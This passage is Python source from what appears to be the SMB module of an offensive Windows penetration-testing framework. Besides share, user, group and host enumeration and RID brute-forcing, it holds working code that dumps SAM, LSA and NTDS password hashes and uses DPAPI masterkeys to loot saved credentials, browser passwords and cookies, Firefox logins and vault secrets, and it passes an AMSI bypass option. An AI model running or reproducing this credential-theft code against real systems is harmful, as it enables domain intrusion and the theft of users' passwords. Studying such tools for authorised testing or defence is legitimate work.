dont_obfs=dont_obfs,
|
|
custom_amsi=amsi_bypass
|
|
),
|
|
get_output,
|
|
methods
|
|
)
|
|
return ''
|
|
|
|
def shares(self):
|
|
temp_dir = ntpath.normpath("\\" + gen_random_string())
|
|
permissions = []
|
|
|
|
try:
|
|
self.logger.debug(f"domain: {self.domain}")
|
|
user_id = self.db.get_user(
|
|
self.domain.split('.')[0].upper(),
|
|
self.username
|
|
)[0][0]
|
|
except Exception as e:
|
|
error = get_error_string(e)
|
|
self.logger.error(f"Error getting user: {error}")
|
|
pass
|
|
|
|
try:
|
|
shares = self.conn.listShares()
|
|
logging.debug(f"Shares returned: {shares}")
|
|
except SessionError as e:
|
|
error = get_error_string(e)
|
|
self.logger.error('Error enumerating shares: {}'.format(error), color='magenta' if error in smb_error_status else 'red')
|
|
return permissions
|
|
except Exception as e:
|
|
error = get_error_string(e)
|
|
self.logger.error('Error enumerating shares: {}'.format(error), color='magenta' if error in smb_error_status else 'red')
|
|
return permissions
|
|
|
|
for share in shares:
|
|
share_name = share['shi1_netname'][:-1]
|
|
share_remark = share['shi1_remark'][:-1]
|
|
share_info = {
|
|
'name': share_name,
|
|
'remark': share_remark,
|
|
'access': []
|
|
}
|
|
read = False
|
|
write = False
|
|
try:
|
|
self.conn.listPath(share_name, '*')
|
|
read = True
|
|
share_info['access'].append('READ')
|
|
except SessionError as e:
|
|
error = get_error_string(e)
|
|
logging.debug(f"Error checking READ access on share: {error}")
|
|
pass
|
|
|
|
try:
|
|
self.conn.createDirectory(share_name, temp_dir)
|
|
self.conn.deleteDirectory(share_name, temp_dir)
|
|
write = True
|
|
share_info['access'].append('WRITE')
|
|
except SessionError as e:
|
|
error = get_error_string(e)
|
|
logging.debug(f"Error checking WRITE access on share: {error}")
|
|
pass
|
|
|
|
permissions.append(share_info)
|
|
|
|
if share_name != "IPC$":
|
|
try:
|
|
# TODO: check if this already exists in DB before adding
|
|
self.db.add_share(self.hostname, user_id, share_name, share_remark, read, write)
|
|
except Exception as e:
|
|
error = get_error_string(e)
|
|
logging.debug(f"Error adding share: {error}")
|
|
pass
|
|
|
|
self.logger.info('Enumerated shares')
|
|
self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
|
|
self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
|
|
for share in permissions:
|
|
name = share['name']
|
|
remark = share['remark']
|
|
perms = share['access']
|
|
|
|
if self.args.filter_shares and self.args.filter_shares != perms:
|
|
continue
|
|
self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))
|
|
return permissions
|
|
|
|
def get_dc_ips(self):
|
|
dc_ips = []
|
|
|
|
for dc in self.db.get_domain_controllers(domain=self.domain):
|
|
dc_ips.append(dc[1])
|
|
|
|
if not dc_ips:
|
|
dc_ips.append(self.host)
|
|
|
|
return dc_ips
|
|
|
|
def sessions(self):
|
|
try:
|
|
sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
|
|
self.logger.info('Enumerated sessions')
|
|
for session in sessions:
|
|
if session.sesi10_cname.find(self.local_ip) == -1:
|
|
self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))
|
|
return sessions
|
|
except:
|
|
pass
|
|
|
|
def disks(self):
|
|
disks = []
|
|
try:
|
|
disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
|
|
self.logger.info('Enumerated disks')
|
|
for disk in disks:
|
|
self.logger.highlight(disk.disk)
|
|
except Exception as e:
|
|
error, desc = e.getErrorString()
|
|
self.logger.error(
|
|
f"Error enumerating disks: {error}",
|
|
color='magenta' if error in smb_error_status else 'red'
|
|
)
|
|
|
|
return disks
|
|
|
|
def local_groups(self):
|
|
groups = []
|
|
# To enumerate local groups the DC IP is optional
|
|
# if specified it will resolve the SIDs and names of any domain accounts in the local group
|
|
for dc_ip in self.get_dc_ips():
|
|
try:
|
|
groups = get_netlocalgroup(
|
|
self.host,
|
|
dc_ip,
|
|
'',
|
|
self.username,
|
|
self.password,
|
|
self.lmhash,
|
|
self.nthash,
|
|
queried_groupname=self.args.local_groups,
|
|
list_groups=True if not self.args.local_groups else False,
|
|
recurse=False
|
|
)
|
|
|
|
if self.args.local_groups:
|
|
self.logger.info('Enumerated members of local group')
|
|
else:
|
|
self.logger.info('Enumerated local groups')
|
|
|
|
for group in groups:
|
|
if group.name:
|
|
if not self.args.local_groups:
|
|
self.logger.highlight('{:<40} membercount: {}'.format(
|
|
group.name,
|
|
group.membercount
|
|
))
|
|
group_id = self.db.add_group(
|
|
self.hostname,
|
|
group.name,
|
|
member_count_ad=group.membercount
|
|
)[0]
|
|
else:
|
|
domain, name = group.name.split('/')
|
|
self.logger.highlight(f"domain: {domain}, name: {name}")
|
|
self.logger.highlight('{}\\{}'.format(
|
|
domain.upper(),
|
|
name
|
|
))
|
|
try:
|
|
group_id = self.db.get_groups(
|
|
group_name=self.args.local_groups,
|
|
group_domain=domain
|
|
)[0][0]
|
|
except IndexError:
|
|
group_id = self.db.add_group(
|
|
domain,
|
|
self.args.local_groups,
|
|
member_count_ad=group.membercount
|
|
)[0]
|
|
|
|
# yo dawg, I hear you like groups.
|
|
# So I put a domain group as a member of a local group which is also a member of another local group.
|
|
# (╯°□°）╯︵ ┻━┻
|
|
if not group.isgroup:
|
|
self.db.add_credential("plaintext", domain, name, "", group_id, "")
|
|
elif group.isgroup:
|
|
self.db.add_group(domain, name, member_count_ad=group.membercount)
|
|
break
|
|
except SessionError as e:
|
|
self.logger.error(f"Error connecting via SMB: {e}")
|
|
except Exception as e:
|
|
self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))
|
|
self.logger.info('Trying with SAMRPC protocol')
|
|
groups = SamrFunc(self).get_local_groups()
|
|
if groups:
|
|
self.logger.info('Enumerated local groups')
|
|
logging.debug(f"Local groups: {groups}")
|
|
|
|
for group_name, group_rid in groups.items():
|
|
group_id = self.db.add_group(
|
|
self.hostname,
|
|
group_name,
|
|
rid=group_rid
|
|
)[0]
|
|
logging.debug(f"Added group, returned id: {group_id}")
|
|
return groups
|
|
|
|
def domainfromdsn(self, dsn):
|
|
dsnparts = dsn.split(',')
|
|
domain = ""
|
|
for part in dsnparts:
|
|
k, v = part.split("=")
|
|
if k == "DC":
|
|
if domain == "":
|
|
domain = v
|
|
else:
|
|
domain = domain + "." + v
|
|
return domain
|
|
|
|
def domainfromdnshostname(self, dns):
|
|
dnsparts = dns.split(".")
|
|
domain = ".".join(dnsparts[1:])
|
|
return domain, dnsparts[0] + "$"
|
|
|
|
def groups(self):
|
|
groups = []
|
|
for dc_ip in self.get_dc_ips():
|
|
if self.args.groups:
|
|
try:
|
|
groups = get_netgroupmember(
|
|
dc_ip,
|
|
self.domain,
|
|
self.username,
|
|
password=self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
queried_groupname=self.args.groups,
|
|
queried_sid=str(),
|
|
queried_domain=str(),
|
|
ads_path=str(),
|
|
recurse=False,
|
|
use_matching_rule=False,
|
|
full_data=False,
|
|
custom_filter=str()
|
|
)
|
|
|
|
self.logger.info('Enumerated members of domain group')
|
|
for group in groups:
|
|
member_count = len(group.member) if hasattr(group, 'member') else 0
|
|
self.logger.highlight('{}\\{}'.format(
|
|
group.memberdomain,
|
|
group.membername
|
|
))
|
|
try:
|
|
group_id = self.db.get_groups(
|
|
group_name=self.args.groups,
|
|
group_domain=group.groupdomain
|
|
)[0][0]
|
|
except IndexError:
|
|
group_id = self.db.add_group(
|
|
group.groupdomain,
|
|
self.args.groups,
|
|
member_count_ad=member_count
|
|
)[0]
|
|
if not group.isgroup:
|
|
self.db.add_credential("plaintext", group.memberdomain, group.membername, "", group_id, "")
|
|
elif group.isgroup:
|
|
group_id = self.db.add_group(
|
|
group.groupdomain,
|
|
group.groupname,
|
|
member_count_ad=member_count
|
|
)[0]
|
|
break
|
|
except Exception as e:
|
|
self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
|
|
else:
|
|
try:
|
|
groups = get_netgroup(
|
|
dc_ip,
|
|
self.domain,
|
|
self.username,
|
|
password=self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
queried_groupname=str(),
|
|
queried_sid=str(),
|
|
queried_username=str(),
|
|
queried_domain=str(),
|
|
ads_path=str(),
|
|
admin_count=False,
|
|
full_data=True,
|
|
custom_filter=str()
|
|
)
|
|
|
|
self.logger.info('Enumerated domain group(s)')
|
|
for group in groups:
|
|
member_count = len(group.member) if hasattr(group, 'member') else 0
|
|
self.logger.highlight('{:<40} membercount: {}'.format(
|
|
group.samaccountname,
|
|
member_count
|
|
))
|
|
|
|
if bool(group.isgroup) is True:
|
|
# Since there isn't a groupmember attribute on the returned object from get_netgroup
|
|
# we grab it from the distinguished name
|
|
domain = self.domainfromdsn(group.distinguishedname)
|
|
group_id = self.db.add_group(
|
|
domain,
|
|
group.samaccountname,
|
|
member_count_ad=member_count
|
|
)[0]
|
|
break
|
|
except Exception as e:
|
|
self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))
|
|
return groups
|
|
|
|
def users(self):
|
|
users = []
|
|
self.logger.info('Trying do dump local users with SAMRPC protocol')
|
|
users = UserSamrDump(self).dump()
|
|
return users
|
|
|
|
def hosts(self):
|
|
hosts = []
|
|
for dc_ip in self.get_dc_ips():
|
|
try:
|
|
hosts = get_netcomputer(
|
|
dc_ip,
|
|
self.domain,
|
|
self.username,
|
|
password=self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
queried_domain='',
|
|
ads_path=str(),
|
|
custom_filter=str()
|
|
)
|
|
|
|
self.logger.info('Enumerated domain computer(s)')
|
|
for hosts in hosts:
|
|
domain, host_clean = self.domainfromdnshostname(hosts.dnshostname)
|
|
self.logger.highlight('{}\\{:<30}'.format(domain, host_clean))
|
|
break
|
|
except Exception as e:
|
|
self.logger.error('Error enumerating domain hosts using dc ip {}: {}'.format(dc_ip, e))
|
|
break
|
|
return hosts
|
|
|
|
def loggedon_users(self):
|
|
logged_on = []
|
|
try:
|
|
logged_on = get_netloggedon(
|
|
self.host,
|
|
self.domain,
|
|
self.username,
|
|
self.password,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash
|
|
)
|
|
self.logger.info('Enumerated logged_on users')
|
|
if self.args.loggedon_users_filter:
|
|
for user in logged_on:
|
|
if re.match(self.args.loggedon_users_filter, user.wkui1_username):
|
|
self.logger.highlight('{}\\{:<25} {}'.format(
|
|
user.wkui1_logon_domain,
|
|
user.wkui1_username,
|
|
'logon_server: {}'.format(
|
|
user.wkui1_logon_server
|
|
) if user.wkui1_logon_server else '')
|
|
)
|
|
else:
|
|
for user in logged_on:
|
|
self.logger.highlight('{}\\{:<25} {}'.format(
|
|
user.wkui1_logon_domain,
|
|
user.wkui1_username,
|
|
'logon_server: {}'.format(
|
|
user.wkui1_logon_server
|
|
) if user.wkui1_logon_server else '')
|
|
)
|
|
except Exception as e:
|
|
self.logger.error('Error enumerating logged on users: {}'.format(e))
|
|
return logged_on
|
|
|
|
def pass_pol(self):
|
|
return PassPolDump(self).dump()
|
|
|
|
def wmi(self, wmi_query=None, namespace=None):
|
|
records = []
|
|
if not namespace:
|
|
namespace = self.args.wmi_namespace
|
|
|
|
try:
|
|
rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
|
|
rpc._create_wmi_connection(namespace=namespace)
|
|
|
|
if wmi_query:
|
|
query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
|
|
else:
|
|
query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
|
|
except Exception as e:
|
|
self.logger.error('Error creating WMI connection: {}'.format(e))
|
|
return records
|
|
|
|
while True:
|
|
try:
|
|
wmi_results = query.Next(0xffffffff, 1)[0]
|
|
record = wmi_results.getProperties()
|
|
records.append(record)
|
|
for k, v in record.items():
|
|
self.logger.highlight('{} => {}'.format(k, v['value']))
|
|
self.logger.highlight('')
|
|
except Exception as e:
|
|
if str(e).find('S_FALSE') < 0:
|
|
raise e
|
|
else:
|
|
break
|
|
|
|
return records
|
|
|
|
def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, only_files=True):
|
|
spider = SMBSpider(self.conn, self.logger)
|
|
|
|
self.logger.info('Started spidering')
|
|
start_time = time()
|
|
if not share:
|
|
spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
|
|
self.args.regex, self.args.exclude_dirs, self.args.depth,
|
|
self.args.content, self.args.only_files)
|
|
else:
|
|
spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, only_files)
|
|
|
|
self.logger.info("Done spidering (Completed in {})".format(time() - start_time))
|
|
|
|
return spider.results
|
|
|
|
def rid_brute(self, max_rid=None):
|
|
entries = []
|
|
if not max_rid:
|
|
max_rid = int(self.args.rid_brute)
|
|
|
|
KNOWN_PROTOCOLS = {
|
|
135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False},
|
|
139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
|
|
445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
|
|
}
|
|
|
|
try:
|
|
string_binding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host)
|
|
logging.debug('StringBinding {}'.format(string_binding))
|
|
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
|
rpc_transport.set_dport(self.args.port)
|
|
|
|
if KNOWN_PROTOCOLS[self.args.port]['set_host']:
|
|
rpc_transport.setRemoteHost(self.host)
|
|
|
|
if hasattr(rpc_transport, 'set_credentials'):
|
|
# This method exists only for selected protocol sequences.
|
|
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
|
|
|
dce = rpc_transport.get_dce_rpc()
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.logger.error('Error creating DCERPC connection: {}'.format(e))
|
|
return entries
|
|
|
|
# Want encryption? Uncomment next line
|
|
# But make simultaneous variable <= 100
|
|
# dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
|
|
|
# Want fragmentation? Uncomment next line
|
|
# dce.set_max_fragment_size(32)
|
|
|
|
dce.bind(lsat.MSRPC_UUID_LSAT)
|
|
try:
|
|
resp = lsad.hLsarOpenPolicy2(
|
|
dce,
|
|
MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
|
|
)
|
|
except lsad.DCERPCSessionError as e:
|
|
self.logger.error(f"Error connecting: {e}")
|
|
return entries
|
|
|
|
policy_handle = resp['PolicyHandle']
|
|
|
|
resp = lsad.hLsarQueryInformationPolicy2(
|
|
dce,
|
|
policy_handle,
|
|
lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation
|
|
)
|
|
|
|
domain_sid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
|
|
|
|
so_far = 0
|
|
simultaneous = 1000
|
|
for j in range(max_rid // simultaneous + 1):
|
|
if (max_rid - so_far) // simultaneous == 0:
|
|
sids_to_check = (max_rid - so_far) % simultaneous
|
|
else:
|
|
sids_to_check = simultaneous
|
|
|
|
if sids_to_check == 0:
|
|
break
|
|
|
|
sids = list()
|
|
for i in range(so_far, so_far + sids_to_check):
|
|
sids.append(domain_sid + '-%d' % i)
|
|
try:
|
|
lsat.hLsarLookupSids(dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
|
|
except DCERPCException as e:
|
|
if str(e).find('STATUS_NONE_MAPPED') >= 0:
|
|
so_far += simultaneous
|
|
continue
|
|
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
|
|
resp = e.get_packet()
|
|
else:
|
|
raise
|
|
|
|
for n, item in enumerate(resp['TranslatedNames']['Names']):
|
|
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
|
|
rid = so_far + n
|
|
domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
|
|
user = item['Name']
|
|
sid_type = SID_NAME_USE.enumItems(item['Use']).name
|
|
self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
|
|
entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})
|
|
so_far += simultaneous
|
|
dce.disconnect()
|
|
return entries
|
|
|
|
def put_file(self):
|
|
self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
|
|
with open(self.args.put_file[0], 'rb') as file:
|
|
try:
|
|
self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
|
|
self.logger.info(f"Created file {self.args.put_file[0]} on \\\\{elf.args.share}\\{self.args.put_file[1]}")
|
|
except Exception as e:
|
|
self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e))
|
|
|
|
def get_file(self):
|
|
self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
|
|
file_handle = self.args.get_file[1]
|
|
if self.args.append_host:
|
|
file_handle = self.hostname + "-" + self.args.get_file[1]
|
|
with open(file_handle, 'wb+') as file:
|
|
try:
|
|
self.conn.getFile(self.args.share, self.args.get_file[0], file.write)
|
|
self.logger.info('File {} was transferred to {}'.format(self.args.get_file[0], file_handle))
|
|
except Exception as e:
|
|
self.logger.error('Error reading file {}: {}'.format(self.args.share, e))
|
|
|
|
def enable_remoteops(self):
|
|
if self.remote_ops is not None and self.bootkey is not None:
|
|
return
|
|
try:
|
|
self.remote_ops = RemoteOperations(self.conn, self.kerberos, self.kdcHost)
|
|
self.remote_ops.enableRegistry()
|
|
self.bootkey = self.remote_ops.getBootKey()
|
|
except Exception as e:
|
|
self.logger.error('RemoteOperations failed: {}'.format(e))
|
|
|
|
@requires_admin
|
|
def sam(self):
|
|
self.enable_remoteops()
|
|
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
|
|
|
def add_sam_hash(sam_hash, host_id):
|
|
add_sam_hash.sam_hashes += 1
|
|
self.logger.highlight(sam_hash)
|
|
username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
|
|
self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
|
|
|
|
add_sam_hash.sam_hashes = 0
|
|
|
|
if self.remote_ops and self.bootkey:
|
|
SAM_file_name = self.remote_ops.saveSAM()
|
|
SAM = SAMHashes(
|
|
SAM_file_name,
|
|
self.bootkey,
|
|
isRemote=True,
|
|
perSecretCallback=lambda secret: add_sam_hash(secret, host_id))
|
|
|
|
|
|
self.logger.info('Dumping SAM hashes')
|
|
SAM.dump()
|
|
SAM.export(self.output_filename)
|
|
self.logger.info('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))
|
|
|
|
try:
|
|
self.remote_ops.finish()
|
|
except Exception as e:
|
|
logging.debug("Error calling remote_ops.finish(): {}".format(e))
|
|
SAM.finish()
|
|
|
|
@requires_admin
|
|
def dpapi(self):
|
|
logging.getLogger("dploot").disabled = True
|
|
|
|
if self.args.pvk is not None:
|
|
try:
|
|
self.pvkbytes = open(self.args.pvk, 'rb').read()
|
|
self.logger.info(f"Loading domain backupkey from {self.args.pvk}")
|
|
except Exception as e:
|
|
logging.error(str(e))
|
|
|
|
masterkeys = []
|
|
if self.args.mkfile is not None:
|
|
try:
|
|
masterkeys += parse_masterkey_file(self.args.mkfile)
|
|
except Exception as e:
|
|
self.logger.error(str(e))
|
|
|
|
if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False:
|
|
try:
|
|
results = self.db.get_domain_backupkey(self.domain)
|
|
except:
|
|
logging.error("Your version of CMEDB is not up to date, run cmedb and create a new workspace: \
|
|
'workspace create dpapi' then re-run the dpapi option")
|
|
return False
|
|
if len(results) > 0:
|
|
self.logger.info("Loading domain backupkey from cmedb...")
|
|
self.pvkbytes = results[0][2]
|
|
else:
|
|
try:
|
|
dc_target = Target.create(
|
|
domain=self.domain,
|
|
username=self.username,
|
|
password=self.password,
|
|
target=self.domain, # querying DNS server for domain will return DC
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
do_kerberos=self.kerberos,
|
|
aesKey=self.aesKey,
|
|
no_pass=True,
|
|
use_kcache=self.use_kcache,
|
|
)
|
|
dc_conn = DPLootSMBConnection(dc_target)
|
|
dc_conn.connect() # Connect to DC
|
|
if dc_conn.is_admin():
|
|
self.logger.info("User is Domain Administrator, exporting domain backupkey...")
|
|
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
|
backupkey = backupkey_triage.triage_backupkey()
|
|
self.pvkbytes = backupkey.backupkey_v2
|
|
self.db.add_domain_backupkey(self.domain, self.pvkbytes)
|
|
else:
|
|
self.no_da = False
|
|
except Exception as e:
|
|
logging.debug(f"Could not get domain backupkey: {e}")
|
|
pass
|
|
|
|
target = Target.create(
|
|
domain=self.domain,
|
|
username=self.username,
|
|
password=self.password,
|
|
target=self.hostname + "." + self.domain if self.kerberos else self.host,
|
|
lmhash=self.lmhash,
|
|
nthash=self.nthash,
|
|
do_kerberos=self.kerberos,
|
|
aesKey=self.aesKey,
|
|
no_pass=True,
|
|
use_kcache=self.use_kcache,
|
|
)
|
|
|
|
try:
|
|
conn = DPLootSMBConnection(target)
|
|
conn.smb_session = self.conn
|
|
except Exception as e:
|
|
self.logger.debug("Could not upgrade connection: {}".format(e))
|
|
return
|
|
|
|
plaintexts = {
|
|
username: password for _,
|
|
_,
|
|
username,
|
|
password,
|
|
_,
|
|
_ in self.db.get_credentials(cred_type="plaintext")
|
|
}
|
|
nthashes = {
|
|
username: nt.split(':')[1] if ':' in nt else nt for _,
|
|
_, username,
|
|
nt,
|
|
_,
|
|
_ in self.db.get_credentials(cred_type="hash")
|
|
}
|
|
if self.password != '':
|
|
plaintexts[self.username] = self.password
|
|
if self.nthash != '':
|
|
nthashes[self.username] = self.nthash
|
|
|
|
# Collect User and Machine masterkeys
|
|
try:
|
|
self.logger.info("Collecting User and Machine masterkeys, grab a coffee and be patient...")
|
|
masterkeys_triage = MasterkeysTriage(
|
|
target=target,
|
|
conn=conn,
|
|
pvkbytes=self.pvkbytes,
|
|
passwords=plaintexts,
|
|
nthashes=nthashes
|
|
)
|
|
logging.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
|
masterkeys += masterkeys_triage.triage_masterkeys()
|
|
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
|
except Exception as e:
|
|
logging.debug(f"Could not get masterkeys: {e}")
|
|
|
|
if len(masterkeys) == 0:
|
|
logging.error("No masterkeys looted")
|
|
return
|
|
|
|
self.logger.info(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets")
|
|
|
|
try:
|
|
# Collect User and Machine Credentials Manager secrets
|
|
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
logging.debug(f"Credentials Triage Object: {credentials_triage}")
|
|
credentials = credentials_triage.triage_credentials()
|
|
logging.debug(f"Triaged Credentials: {credentials}")
|
|
system_credentials = credentials_triage.triage_system_credentials()
|
|
logging.debug(f"Triaged System Credentials: {system_credentials}")
|
|
except Exception as e:
|
|
logging.debug(f"Error while looting credentials: {e}")
|
|
|
|
for credential in credentials:
|
|
self.logger.highlight("[%s][CREDENTIAL] %s - %s:%s" % (
|
|
credential.winuser,
|
|
credential.target,
|
|
credential.username,
|
|
credential.password
|
|
))
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
"CREDENTIAL",
|
|
credential.winuser,
|
|
credential.username,
|
|
credential.password,
|
|
credential.target
|
|
)
|
|
for credential in system_credentials:
|
|
self.logger.highlight(
|
|
f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}"
|
|
)
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
"CREDENTIAL",
|
|
"SYSTEM",
|
|
credential.username,
|
|
credential.password,
|
|
credential.target
|
|
)
|
|
|
|
try:
|
|
# Collect Chrome Based Browser stored secrets
|
|
dump_cookies = True if self.args.dpapi == "cookies" else False
|
|
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies)
|
|
except Exception as e:
|
|
self.logger.debug(f"Error while looting browsers: {e}")
|
|
for credential in browser_credentials:
|
|
cred_url = credential.url + ' -' if credential.url != '' else '-'
|
|
self.logger.highlight(
|
|
f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}"
|
|
)
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
credential.browser.upper(),
|
|
credential.winuser,
|
|
credential.username,
|
|
credential.password,
|
|
credential.url
|
|
)
|
|
|
|
if dump_cookies:
|
|
self.logger.info("Start Dumping Cookies")
|
|
for cookie in cookies:
|
|
self.logger.highlight(
|
|
f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}"
|
|
)
|
|
self.logger.info("End Dumping Cookies")
|
|
|
|
try:
|
|
# Collect User Internet Explorer stored secrets
|
|
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys)
|
|
vaults = vaults_triage.triage_vaults()
|
|
except Exception as e:
|
|
self.logger.debug(f"Error while looting vaults: {e}")
|
|
for vault in vaults:
|
|
if vault.type == 'Internet Explorer':
|
|
resource = vault.resource + ' -' if vault.resource != '' else '-'
|
|
self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}")
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
'IEX',
|
|
vault.winuser,
|
|
vault.username,
|
|
vault.password,
|
|
vault.resource
|
|
)
|
|
|
|
try:
|
|
# Collect Firefox stored secrets
|
|
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn)
|
|
firefox_credentials = firefox_triage.run()
|
|
except Exception as e:
|
|
self.logger.debug(f"Error while looting firefox: {e}")
|
|
for credential in firefox_credentials:
|
|
url = credential.url + ' -' if credential.url != '' else '-'
|
|
self.logger.highlight(
|
|
f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}"
|
|
)
|
|
self.db.add_dpapi_secrets(
|
|
target.address,
|
|
'FIREFOX',
|
|
credential.winuser,
|
|
credential.username,
|
|
credential.password,
|
|
credential.url
|
|
)
|
|
|
|
@requires_admin
|
|
def lsa(self):
|
|
self.enable_remoteops()
|
|
|
|
def add_lsa_secret(secret):
|
|
add_lsa_secret.secrets += 1
|
|
self.logger.highlight(secret)
|
|
if "_SC_GMSA_{84A78B8C" in secret:
|
|
gmsa_id = secret.split("_")[4].split(":")[0]
|
|
data = bytes.fromhex(secret.split("_")[4].split(":")[1])
|
|
blob = MSDS_MANAGEDPASSWORD_BLOB()
|
|
blob.fromString(data)
|
|
currentPassword = blob['CurrentPassword'][:-2]
|
|
ntlm_hash = MD4.new()
|
|
ntlm_hash.update(currentPassword)
|
|
passwd = hexlify(ntlm_hash.digest()).decode("utf-8")
|
|
self.logger.highlight("GMSA ID: {:<20} NTLM: {}".format(gmsa_id, passwd))
|
|
|
|
add_lsa_secret.secrets = 0
|
|
|
|
if self.remote_ops and self.bootkey:
|
|
SECURITYFileName = self.remote_ops.saveSECURITY()
|
|
LSA = LSASecrets(
|
|
SECURITYFileName,
|
|
self.bootkey,
|
|
self.remote_ops,
|
|
isRemote=True,
|
|
perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret)
|
|
)
|
|
self.logger.info('Dumping LSA secrets')
|
|
LSA.dumpCachedHashes()
|
|
LSA.exportCached(self.output_filename)
|
|
LSA.dumpSecrets()
|
|
LSA.exportSecrets(self.output_filename)
|
|
self.logger.info(
|
|
f"Dumped {highlight(add_lsa_secret.secrets)} \
|
|
LSA secrets to {self.output_filename + '.secrets'} \
|
|
and {self.output_filename + '.cached'}"
|
|
)
|
|
try:
|
|
self.remote_ops.finish()
|
|
except Exception as e:
|
|
logging.debug("Error calling remote_ops.finish(): {}".format(e))
|
|
LSA.finish()
|
|
|
|
def ntds(self):
|
|
self.enable_remoteops()
|
|
use_vss_method = False
|
|
NTDSFileName = None
|
|
host_id = self.db.get_hosts(filter_term=self.host)[0][0]
|
|
|
|
def add_ntds_hash(ntds_hash, host_id):
|
|
add_ntds_hash.ntds_hashes += 1
|
|
if self.args.enabled:
|
|
if "Enabled" in ntds_hash:
|
|
ntds_hash = ntds_hash.split(" ")[0]
|
|
self.logger.highlight(ntds_hash)
|
|
else:
|
|
ntds_hash = ntds_hash.split(" ")[0]
|
|
self.logger.highlight(ntds_hash)
|
|
if ntds_hash.find('$') == -1:
|
|
if ntds_hash.find('\\') != -1:
|
|
domain, hash = ntds_hash.split('\\')
|
|
else:
|
|
domain = self.domain
|
|
hash = ntds_hash
|
|
|
|
try:
|
|
username, _, lmhash, nthash, _, _, _ = hash.split(':')
|
|
parsed_hash = ':'.join((lmhash, nthash))
|
|
if validate_ntlm(parsed_hash):
|
|
self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
|
|
add_ntds_hash.added_to_db += 1
|
|
return
|
|
raise
|
|
except:
|
|
logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
|
else:
|
|
logging.debug("Dumped hash is a computer account, not adding to db")
|
|
|
|
add_ntds_hash.ntds_hashes = 0
|
|
add_ntds_hash.added_to_db = 0
|
|
|
|
if self.remote_ops:
|
|
try:
|
|
if self.args.ntds == 'vss':
|
|
NTDSFileName = self.remote_ops.saveNTDS()
|
|
use_vss_method = True
|
|
|
|
except Exception as e:
|
|
